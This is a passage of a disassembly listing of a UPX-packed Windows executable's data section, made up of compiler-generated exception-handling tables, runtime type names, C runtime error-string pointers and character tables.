426268h, 0 dd offset off_42B8C0 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 426188h, 42B928h, 0Ch, 0 dd 0FFFFFFFFh, 0 dd 40h, 425E40h dword_4261DC dd 3 dup(0) dd offset off_42B9E4 dd offset dword_4261F0 dword_4261F0 dd 0 dd 1, 4, 426200h, 4262ECh, 4262B8h, 426230h, 426214h, 0 dd offset off_42B960 dd 0 dd 4, 0FFFFFFFFh, 0 dd 40h, 426284h, 42B988h, 1, 4, 0FFFFFFFFh, 0 dd 40h, 42624Ch, 2 dup(0) dd 2, 42625Ch, 42629Ch, 426268h, 0 dd offset off_42B960 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 426284h, 2 dup(0) dd 1, 426294h, 426268h, 0 dd offset off_42B988 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 42624Ch, 42B9CCh, 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 4262D4h, 2 dup(0) dd 1, 4262E4h, 4262B8h, 0 dd offset off_42B9E4 dd 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 4261F0h, 0 dd 24h, 0 dd offset off_42DEDC dd offset dword_426330 dword_42631C dd 3 dup(0) dd offset off_42DEDC dd offset dword_426330 dword_426330 dd 0 ; UPX0:0042632Co dd 1, 0Ah, 426340h, 42636Ch, 425A14h, 4259D0h, 426050h dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h dd 0 dd offset off_42DEDC dd 9, 0 dd 0FFFFFFFFh, 0 dd 40h, 426330h, 0 dd 24h, 0 dd offset off_42DEF8 dd offset dword_4263B0 dword_42639C dd 3 dup(0) dd offset off_42DEF8 dd offset dword_4263B0 dword_4263B0 dd 0 ; UPX0:004263ACo dd 1, 0Ah, 4263C0h, 4263ECh, 425A14h, 4259D0h, 426050h dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h dd 0 dd offset off_42DEF8 dd 9, 0 dd 0FFFFFFFFh, 0 dd 40h, 4263B0h, 0 dd 24h, 0 dd offset off_42DF18 dd offset dword_426430 dword_42641C dd 3 dup(0) dd offset off_42DF18 dd offset dword_426430 dword_426430 dd 0 ; UPX0:0042642Co dd 1, 0Ah, 426440h, 42646Ch, 425A14h, 4259D0h, 426050h dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h dd 0 dd offset off_42DF18 dd 9, 0 dd 0FFFFFFFFh, 0 dd 40h, 426430h, 0 dd 24h, 0 dd offset off_42DF34 dd offset dword_4264B0 dword_42649C dd 3 dup(0) dd offset off_42DF34 dd offset dword_4264B0 dword_4264B0 dd 0 ; UPX0:004264ACo dd 1, 0Ah, 4264C0h, 4264ECh, 425A14h, 4259D0h, 426050h dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h dd 0 dd offset off_42DF34 dd 9, 0 dd 0FFFFFFFFh, 0 dd 40h, 4264B0h dword_426508 dd 3 dup(0) dd offset off_42DF74 dd offset dword_42651C dword_42651C dd 2 dup(0) dd 3, 42652Ch, 426574h, 42653Ch, 4262B8h, 0 dd offset off_42DF54 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 426558h, 2 dup(0) dd 2, 426568h, 42653Ch, 4262B8h, 0 dd offset off_42DF74 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 42651Ch dword_426590 dd 3 dup(0) dd offset off_42E008 dd offset dword_4265A4 dword_4265A4 dd 2 dup(0) dd 4, 4265B4h, 42668Ch, 4265C8h, 426604h, 42663Ch, 0 dd offset off_42DFD4 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 4265E4h, 2 dup(0) dd 3, 4265F4h, 4265C8h, 426604h, 42663Ch, 0 dd offset off_42DFB4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 426620h, 2 dup(0) dd 2, 426630h, 426604h, 42663Ch, 0 dd offset off_42DF94 dd 0 dd 4, 0FFFFFFFFh, 0 dd 40h, 426658h, 2 dup(0) dd 1, 426668h, 426670h, 0 dd offset off_42DF94 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 426658h, 42E008h, 3, 0 dd 0FFFFFFFFh, 0 dd 40h, 4265A4h, 2 dup(0) dword_4266B0 dd 0BE20h, 0C14Ah, 0C254h, 0FF9Ch, 14620h, 1BED4h, 1BEEFh ; DATA XREF: UPX0:00424DB0o ; UPX1:00470A70o dd 1BF15h, 1BF38h, 1BF5Bh, 1BF7Eh, 1BFABh, 1BFCEh, 1C011h dd 1C056h, 1C086h, 1C0B7h, 1C107h, 1C12Dh, 1C14Bh, 1C166h dd 1C189h, 1C1DCh, 1C209h, 1C224h, 1C247h, 1C277h, 1C2B2h dd 1C2DAh, 1C315h, 1C345h, 1C383h, 1C3C1h, 1C3DCh, 1C3FCh dd 1C41Fh, 1C442h, 1C468h, 1C48Eh, 1C4B1h, 1C4D4h, 1C4F9h dd 1C527h, 1C542h, 1C568h, 1C599h, 1C5CFh, 1C5EAh, 1C605h dd 1C630h, 1C65Bh, 1C690h, 1C6CBh, 1C6EEh, 1C711h, 1C734h dd 1C75Ah, 1C7C8h, 0 dword_42679C dd 2 dup(0) ; sub_40FC85+8o dword_4267A4 dd 0 ; UPX0:0040FCB3o dd 0FFFFFFFFh, 41BECCh dword_4267B0 dd 19930522h, 1, 4267A8h, 5 dup(0) dd 1, 0 dword_4267D8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40AE1E align 8 dword_4267F8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40AE9C align 8 dword_426818 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 40B080h, 40B0A9h, 0 dword_426838 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B106 align 8 dword_426858 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B353 align 8 dword_426878 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B76A align 8 dword_426898 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B9DF align 8 dword_4268B8 dd 0FFFFFFFEh, 0 db 88h, 0FFh dw 0FFFFh align 8 dd 0FFFFFFFEh, 40BD1Ch, 40BD20h, 0FFFFFFFEh, 40BCE2h, 40BCF6h dword_4268E0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40CFA0 align 10h dword_426900 dd 0FFFFFFFEh, 0 dd 0FFFFFFC8h, 0 dd 0FFFFFFFEh, 0 dd offset loc_40DD28 align 10h dword_426920 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40E04Bh, 40E04Fh, 0 dword_426940 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40E09Bh, 40E09Fh, 0 dword_426960 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40E2FE dd 0FFFFFFFEh, 0 dd offset sub_40E30D dword_426988 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40E4C0 dd 0FFFFFFFEh, 0 dd offset sub_40E4CC dword_4269B0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40E6F7 align 10h dword_4269D0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40EADC align 10h dword_4269F0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40EC6F align 10h dword_426A10 dd 0FFFFFFFEh, 0 dd 0FFFFFF8Ch, 0 dd 0FFFFFFFEh, 40FC6Eh, 40FC72h, 0 dword_426A30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 40FE6Ah, 40FE86h, 0 dword_426A50 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 41017Bh, 41018Fh, 0 dword_426A70 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_410365 align 10h dd offset loc_410327 dd offset loc_410331 dword_426A98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 41040Eh, 410417h, 40h, 2 dup(0) dd offset loc_4104F5 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 426AB4h dword_426AE8 dd 19930522h, 2, 426AC4h, 1, 426AD4h, 3 dup(0) dd 1, 0 dword_426B10 dd 0FFFFFFFEh, 0 dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41062D align 10h dd offset loc_41059D dd offset loc_4105A6 dword_426B38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 410814h, 410818h, 0 dword_426B58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 4108ADh, 4108B1h dword_426B74 dd 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 41h, 0 align 10h dd offset dword_426B84 dword_426B84 dd 2, 426B90h, 426DA8h, 0 dd offset off_42A424 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 410D63h, 0 dword_426BB0 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_411050 align 10h dword_426BD0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41185F align 10h dword_426BF0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_411DBB align 10h dword_426C10 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_412189 align 10h dword_426C30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_4124F9 align 10h dword_426C50 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 413621h, 413638h, 0 dword_426C70 dd 0FFFFFFFEh, 0 dd 0FFFFFFC0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_413830 align 10h dword_426C90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_4148D8 align 10h dword_426CB0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_414A68 align 10h dword_426CD0 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_414BF2 dd 2 dup(0) dd offset sub_414BBE dword_426CF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_415BBB align 8 dword_426D18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_415E01 align 8 dword_426D38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_415EE3 align 8 dword_426D58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41656A align 8 dd offset off_42BA1C align 10h dd 0FFFFFFFFh, 0 dd 4, 0 dword_426D90 dd 1, 426D74h dword_426D98 dd 3 dup(0) dd offset dword_426D90 dd 0 dd offset off_42DC78 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 40AD27h, 0 dd offset off_42DC94 align 10h dd 0FFFFFFFFh, 0 dd 28h, 404B07h, 0 dd offset off_42DCB4 dd 0 dd 0FFFFFFFFh, 0 dword_426DF4 dd 28h, 404B1Fh, 3, 426DC4h, 426DE0h, 426DA8hdword_426E0C dd 0 ; sub_40ABCE+29o dd offset sub_404ADA align 8 dd offset dword_426DF4+8 align 10h dd offset off_42DE84 align 8 dd 0FFFFFFFFh, 0 dword_426E30 dd 28h, 405ED5h, 3, 426E1Ch, 426DE0h, 426DA8hdword_426E48 dd 0 ; sub_40AB96+29o dd offset sub_404A95 dd 0 dd offset dword_426E30+8 dd 0 dd offset off_42DEC0 dd 0 dd 0FFFFFFFFh, 0 dword_426E6C dd 0Ch, 407019h, 2, 426E58h, 426DA8hdword_426E80 dd 0 ; sub_406FCF+34o ... dd offset sub_40499C dd 0 dd offset dword_426E6C+8 dword_426E90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 41714Fh, 417153h, 0 dword_426EB0 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 41739Ch, 4173CEh, 0FFFFFFFFh, 41BF76h dword_426ED4 dd 19930522h, 1, 426ECCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFA3h dword_426F00 dd 19930522h, 1, 426EF8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFC6h dword_426F2C dd 19930522h, 1, 426F24h, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFE9h, 0 dd offset loc_41BFF1 dd 1, 41BFF9h, 2, 41C001h, 3, 41C009h dword_426F78 dd 19930522h, 5, 426F50h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C036h, 0 dd offset loc_41C03E dd 1, 41C046h, 2, 41C04Eh dword_426FBC dd 19930522h, 4, 426F9Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41C07Bh dword_426FE8 dd 19930522h, 1, 426FE0h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C0A7h, 0FFFFFFFFh, 41C0AFh dword_42701C dd 19930522h, 2, 42700Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41C0DFh, 0 dd offset loc_41C0E7 dd 1, 41C0F2h, 1, 41C0FAh dword_427060 dd 19930522h, 4, 427040h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C122h dword_42708C dd 19930522h, 1, 427084h, 5 dup(0) dd 1 dword_4270B0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 401171h, 401185h, 0 dword_4270D0 dd 0FFFFFFE4h, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 401079h, 40108Dh, 0 dd 0FFFFFFFFh, 41BF0Ah dword_4270F8 dd 19930522h, 1, 4270F0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41BF30h dword_427128 dd 19930522h, 1, 427120h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41BF53h dword_427158 dd 19930522h, 1, 427150h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_406D20 dd 2 dup(0) dd 2 dup(1), 427190h dword_4271B4 dd 19930522h, 2, 427180h, 1, 4271A0h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd offset sub_405FD8 dd 40h, 2 dup(0) dd offset loc_405F66 dd 2 dup(2), 3, 1, 4271F8h, 2 dup(0) dd 3, 1, 427208h dword_427240 dd 19930522h, 4, 4271D8h, 2, 427218h, 3 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C181h dword_427270 dd 19930522h, 1, 427268h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C1A4h, 0FFFFFFFFh, 41C1ACh, 1, 41C1B4h dd 0FFFFFFFFh, 41C1BCh, 0FFFFFFFFh, 41C1C4h, 4, 41C1CCh dd 0FFFFFFFFh, 41C1D4h dword_4272D0 dd 19930522h, 7, 427298h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_41C1F7 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 41C201h, 40h, 2 dup(0) dd offset loc_401A82 dd 0 dd 1, 2, 1, 427318h dword_42733C dd 19930522h, 4, 4272F8h, 1, 427328h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_401680 dd 2 dup(0) dd 2 dup(1), 427370h dword_427394 dd 19930522h, 2, 427360h, 1, 427380h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C23Fh dword_4273C0 dd 19930522h, 1, 4273B8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C26Ch dword_4273F0 dd 19930522h, 1, 4273E8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C2A2h, 4 dup(0) dd 0FFFFFFFFh, 41C2AAh, 3, 0 dd 3, 0 dd 40h, 2 dup(0) dd offset loc_407DEE dd 40h, 2 dup(0) dd offset loc_407F09 dd 2 dup(1), 2, 1, 427448h, 2 dup(4), 5, 1, 427458h dword_427490 dd 19930522h, 6, 427418h, 2, 427468h, 3 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd offset sub_406638 dd 40h, 2 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 65h, 40h, 0 dd 2 dup(2), 3, 1, 4274D8h, 2 dup(0) dd 3, 1, 4274E8h dword_427520 dd 19930522h, 4, 4274B8h, 2, 4274F8h, 3 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C2F5h, 0 ; --------------------------------------------------------------------------- std retn 41h ; --------------------------------------------------------------------------- dd 1, 41C305h, 2, 41C30Dh dword_427568 dd 19930522h, 4, 427548h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C33Dh dword_427598 dd 19930522h, 1, 427590h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C36Dh, 0 dd offset loc_41C378 dword_4275D0 dd 19930522h, 2, 4275C0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 41C3B1h, 2, 0 dd 2, 0 dd 2, 41C3B9h, 40h, 2 dup(0) dd offset loc_407627 dd 40h, 2 dup(0) dd offset loc_40766E align 10h dd 2 dup(1), 427628h, 2 dup(3), 4, 1, 427638h dword_427670 dd 19930522h, 6, 4275F8h, 2, 427648h, 3 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_4069F1 align 10h dd 2 dup(1), 4276A8h dword_4276CC dd 19930522h, 2, 427698h, 1, 4276B8h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0) dd offset loc_41C3F7 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_4064E4 dd 0 dd 1, 2, 1, 427708h dword_42772C dd 19930522h, 3, 4276F0h, 1, 427718h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C417h dword_427758 dd 19930522h, 1, 427750h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C43Ah dword_427788 dd 19930522h, 1, 427780h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C45Dh dword_4277B8 dd 19930522h, 1, 4277B0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C483h dword_4277E8 dd 19930522h, 1, 4277E0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C4A9h dword_427818 dd 19930522h, 1, 427810h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C4CCh dword_427848 dd 19930522h, 1, 427840h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_41C4EF dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_4050F9 dd 0 dd 1, 2, 1, 427888h dword_4278AC dd 19930522h, 3, 427870h, 1, 427898h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C514h, 0 dd offset loc_41C51C dword_4278E0 dd 19930522h, 2, 4278D0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_404001 align 10h dd 2 dup(1), 427918h dword_42793C dd 19930522h, 2, 427908h, 1, 427928h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C55Dh dword_427968 dd 19930522h, 1, 427960h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C583h, 0 dd offset loc_41C58E dword_4279A0 dd 19930522h, 2, 427990h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C5C7h dword_4279D0 dd 19930522h, 1, 4279C8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40712E align 10h dd 2 dup(1), 427A08h dword_427A2C dd 19930522h, 2, 4279F8h, 1, 427A18h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_406A85 dd 2 dup(0) dd 2 dup(1), 427A60h dword_427A84 dd 19930522h, 2, 427A50h, 1, 427A70h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C620h, 0 dd offset loc_41C628 dword_427AB8 dd 19930522h, 2, 427AA8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C64Bh, 0 dd offset loc_41C653 dword_427AF0 dd 19930522h, 2, 427AE0h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C680h, 0 dd offset loc_41C688 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd offset loc_4079A5 dd 2 dup(2), 3, 1, 427B38h dword_427B5C dd 19930522h, 4, 427B18h, 1, 427B48h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C6B8h, 0 dd offset loc_41C6C0 dword_427B90 dd 19930522h, 2, 427B80h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C6E6h dword_427BC0 dd 19930522h, 1, 427BB8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C709h dword_427BF0 dd 19930522h, 1, 427BE8h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C72Ch dword_427C20 dd 19930522h, 1, 427C18h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C74Fh dword_427C50 dd 19930522h, 1, 427C48h, 5 dup(0) dd 1, 0 dd 0FFFFFFFFh, 41C77Bh, 0 dd offset loc_41C786 dd 1, 41C791h, 2, 41C79Ch, 3, 41C7A7h, 4, 41C7B2h, 5, 41C7BDh dword_427CB0 dd 19930522h, 7, 427C78h, 5 dup(0) dd 1, 0 dword_427CD8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 41BE87h, 41BEA3h, 0 dword_427CF8 dd 8C2h dup(0) ; sub_40AB4B+21o off_42A000 dd offset sub_40A71A ; DATA XREF: sub_401304+Cr ; sub_401BB2+C6r ... dd offset dword_41D4C8 dd offset dword_41D4C8 dd offset dword_41D4C8 dd offset dword_41D4C8 off_42A014 dd offset off_41D588 ; DATA XREF: UPX0:00424DD8o ; UPX0:00424DF8o dd 0 a_?avtype_info@ db '.?AVtype_info@@',0 off_42A02C dd offset dword_41D4C8 ; DATA XREF: sub_40B444+5o dword_42A030 dd 2 ; sub_40DF83+19r ... dword_42A034 dd 0BA9E6A99h ; sub_4016D2+Br ... dword_42A038 dd 45619566h ; sub_40FCD1+2Bw ... align 10h dword_42A040 dd 1 dword_42A044 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_42A1A8 dd 0Ch dword_42A1AC dd 8, 10h, 0 off_42A1B8 dd offset dword_42E728 ; DATA XREF: sub_40CE2D:loc_40CE6Cw ; sub_40E1F2-1370o ... dword_42A1BC dd 1 dd offset dword_42E740 dd 1, 2 dup(0) dd offset dword_42E758 dd 1, 42E770h, 1, 2 dup(0) dd offset dword_42E788 dd 1, 42E7A0h, 1, 42E7B8h, 1, 2 dup(0) dd offset dword_42E7D0 dd 1, 2 dup(0) dd offset dword_42E7E8 dd 1, 42E800h, 1, 42E818h, 1, 2 dup(0) dd offset dword_42E830 dd 1, 42E848h, 1, 42E860h, 1, 22h dup(0) dword_42A2D8 dd 0FB6B578Dh ; sub_40E1F2-132Eo ... align 10h dword_42A2E0 dd 2 off_42A2E4 dd offset aR6002FloatingP ; DATA XREF: sub_40DDD8+13Dr ; "R6002\r\n- floating point support not loa"... dd 8, 41DADCh, 9, 41DAB0h, 0Ah, 41DA18h, 10h, 41D9ECh dd 11h, 41D9BCh, 12h, 41D998h, 13h, 41D96Ch, 18h, 41D934h dd 19h, 41D90Ch, 1Ah, 41D8D4h, 1Bh, 41D89Ch, 1Ch, 41D874h dd 1Eh, 41D854h, 1Fh, 41D7F0h, 20h, 41D7B8h, 21h, 41D6C0h dd 22h, 41D620h, 78h, 41D610h, 79h, 41D600h, 7Ah, 41D5F0h dd 0FCh, 41D5ECh, 0FFh, 41D5DCh, 2 dup(0) dword_42A3A0 dd 0Fh ; sub_40E143+18r ... dword_42A3A4 dd 0Eh ; sub_40E0C8+23r ... align 10h dd offset dword_41D4C8 align 10h off_42A3C0 dd offset a_cmd ; DATA XREF: sub_40ED0F+1D0o ; ".cmd" dd offset a_bat ; ".bat" dd offset a_exe ; ".exe" off_42A3CC dd offset a_com ; DATA XREF: sub_40ED0F+196o ; ".com" dword_42A3D0 dd 3 ; sub_40F408+B1r ... dword_42A3D4 dd 7 ; sub_40F408+B7r ... dd 78h dword_42A3DC dd 0Ah ; sub_41367E+8r dword_42A3E0 dd 0FFFFFFFFh, 0A80h, 0Eh dup(0) ; sub_412505+29o ... dd offset dword_41D4C8 off_42A424 dd offset off_41D588 ; DATA XREF: sub_410A1C+126o ; UPX0:00424E20o ... dd 0 a_?avbad_except db '.?AVbad_exception@std@@',0 align 10h off_42A450 dd offset dword_42F140 ; DATA XREF: sub_411916o ; sub_41191C+52o ... align 8 dd offset dword_42F140 dd 101h dword_42A460 dd 0FFFFFFFEh, 0 dd 1000h, 4 dup(0) dd 2, 0FFFFFFFEh, 6 dup(0) dd 2, 0FFFFFFFEh, 7 dup(0) dword_42A4C0 dd 7Ch dup(0) dword_42A6B0 dd 8 dup(0) ; sub_411A60+11o dword_42A6D0 dd 0FFFFFFFFh, 16h dup(0) ; sub_40E3A9+A8o ... dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 31h dup(0) dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 0 db 0 align 2 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 align 4 dd 21h dup(0) byte_42A8F0 db 0 ; DATA XREF: sub_412028+102w align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h, 0 byte_42A9F8 db 0 ; DATA XREF: sub_412028+11Ew align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_42AAF8 dd 952CA8h ; sub_411D23+4Cr ... byte_42AAFC db 1 ; DATA XREF: sub_411E43+113r db 2, 4, 8 dword_42AB00 dd 3A4h dword_42AB04 dd 82798260h, 21h, 0dword_42AB10 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 